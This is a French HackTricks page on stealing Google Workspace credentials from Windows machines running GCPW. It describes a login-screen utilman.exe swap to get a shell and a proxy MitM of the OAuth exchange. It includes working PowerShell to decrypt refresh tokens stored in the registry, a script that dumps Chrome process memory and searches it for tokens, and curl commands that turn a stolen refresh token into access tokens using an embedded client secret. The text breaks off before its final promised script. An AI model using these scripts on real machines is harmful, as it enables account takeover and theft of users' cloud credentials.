GCPW - Google Credential Provider for Windows

Support HackTricks

Informations de base

Ceci est le système d'authentification unique que Google Workspaces fournit afin que les utilisateurs puissent se connecter à leurs PC Windows en utilisant leurs identifiants Workspace. De plus, cela stockera des jetons pour accéder à Google Workspace à certains endroits sur le PC.

Notez que Winpeas est capable de détecter GCPW, d'obtenir des informations sur la configuration et même des jetons.

GCPW - MitM

Lorsqu'un utilisateur accède à un PC Windows synchronisé avec Google Workspace via GCPW, il devra remplir un formulaire de connexion commun. Ce formulaire de connexion renverra un code OAuth que le PC échangera contre le jeton d'actualisation dans une requête comme :

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

De nouvelles lignes ont été ajoutées pour le rendre plus lisible.

Il était possible d'effectuer un MitM en installant Proxifier sur le PC, en écrasant le binaire utilman.exe avec un cmd.exe et en exécutant les fonctionnalités d'accessibilité sur la page de connexion Windows, ce qui exécutera un CMD à partir duquel vous pouvez lancer et configurer le Proxifier. N'oubliez pas de bloquer le trafic QUICK UDP dans Proxifier afin qu'il soit rétrogradé à une communication TCP et que vous puissiez le voir.

Configurez également dans "Services et autres utilisateurs" les deux options et installez le certificat CA Burp dans Windows.

De plus, en ajoutant les clés enable_verbose_logging = 1 et log_file_path = C:\Public\gcpw.log dans HKLM:\SOFTWARE\Google\GCPW, il est possible de stocker certains journaux.

GCPW - Empreinte

Il est possible de vérifier si GCPW est installé sur un appareil en vérifiant si le processus suivant existe ou si les clés de registre suivantes existent :

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

Dans HKCU:\SOFTWARE\Google\Accounts, il est possible d'accéder à l'email de l'utilisateur et au refresh token chiffré si l'utilisateur s'est récemment connecté.

Dans HKLM:\SOFTWARE\Google\GCPW\Users, il est possible de trouver les domains autorisés à se connecter dans la clé domains_allowed et dans les sous-clés, il est possible de trouver des informations sur l'utilisateur comme l'email, la photo, le nom d'utilisateur, les durées de vie des tokens, le handle du token...

Le handle du token est un token qui commence par eth. et à partir duquel on peut extraire certaines informations avec une requête comme :

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

Il est également possible de trouver le handle du token d'un access token avec une requête comme :

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Afaik, il n'est pas possible d'obtenir un refresh token ou un access token à partir du token handle.

De plus, le fichier C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse est un json contenant les informations de différents settings comme enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (si plusieurs utilisateurs de Workspace peuvent se connecter à l'ordinateur) et validityPeriodDays (nombre de jours pendant lesquels un utilisateur n'a pas besoin de se réauthentifier directement avec Google).

GCPW - Obtenir des Tokens

GCPW - Tokens de Rafraîchissement du Registre

Dans le registre HKCU:\SOFTWARE\Google\Accounts, il pourrait être possible de trouver certains comptes avec le refresh_token crypté à l'intérieur. La méthode ProtectedData.Unprotect peut facilement le déchiffrer.

Obtenir les données de HKCU:\SOFTWARE\Google\Accounts et déchiffrer les refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Exemple de sortie :

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), si vous ne trouvez pas le token dans le registre, il est possible de modifier la valeur (ou de la supprimer) depuis **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** et la prochaine fois que l'utilisateur accède à l'ordinateur, il devra se reconnecter et le **token sera stocké dans le registre précédent**.

### GCPW - Jetons de rafraîchissement de disque

Le fichier **`%LocalAppData%\Google\Chrome\User Data\Local State`** stocke la clé pour déchiffrer les **`refresh_tokens`** situés à l'intérieur des **profils Google Chrome** de l'utilisateur comme :

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Il est possible de trouver du **code C#** accédant à ces tokens de manière déchiffrée dans [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

De plus, le chiffrement peut être trouvé dans ce code : [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

On peut observer que AESGCM est utilisé, le token chiffré commence par une **version** (**`v10`** à ce moment), puis il [**a 12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), et ensuite il a le **texte chiffré** avec un **mac final de 16B**.

### GCPW - Dumping des tokens de la mémoire des processus

Le script suivant peut être utilisé pour **dump** chaque processus **Chrome** en utilisant `procdump`, extraire les **chaînes** et ensuite **chercher** des chaînes liées aux **access et refresh tokens**. Si Chrome est connecté à un site Google, certains **processus stockeront des refresh et/ou access tokens en mémoire !**

<details>

<summary>Dump des processus Chrome et recherche de tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

J'ai essayé la même chose avec gcpw_extension.exe mais il n'a trouvé aucun jeton.

Pour une raison quelconque, certains jetons d'accès extraits ne seront pas valides (bien que certains le soient). J'ai essayé le script suivant pour supprimer des caractères un par un afin d'essayer d'obtenir le jeton valide à partir du dump. Cela ne m'a jamais aidé à en trouver un valide, mais cela pourrait, je suppose :

Vérifier le jeton d'accès en supprimant des caractères un par un

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Génération de jetons d'accès à partir de jetons d'actualisation

En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accès en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Notez qu'il n'est pas possible de demander un scope pour le token d'accès même en ayant un refresh token, car vous ne pouvez demander que les scopes pris en charge par l'application où vous générez le token d'accès.

De plus, le refresh token n'est pas valide dans toutes les applications.

Par défaut, GCPW n'aura pas accès en tant qu'utilisateur à tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent être utilisés avec le refresh_token pour générer un access_token :

Last updated